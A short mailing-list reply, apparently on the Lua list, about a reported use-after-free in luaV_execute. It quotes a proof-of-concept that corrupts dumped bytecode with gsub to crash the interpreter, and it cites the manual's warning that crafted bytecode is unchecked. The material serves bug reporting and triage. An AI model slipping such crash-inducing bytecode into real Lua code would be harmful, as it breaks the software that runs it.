Re: Use after free during luaV_execute

[云风 <cloudwu@...>]

在 2023年2月4日，09:25，Yongheng Chen <changochen1@gmail.com> 写道：



A variant poc can trigger a crash in default build without asan:

---

ma0be=string.dump(
    function()
        return({[e]=true})[true]end)
ma0be=ma0be:gsub('\1\1','')
m=load(ma0be)((0)and 0)

---

It changes the bytecode, and Lua manual says :

Lua does not check the consistency of the code inside binary chunks; running maliciously crafted bytecode can crash the interpreter.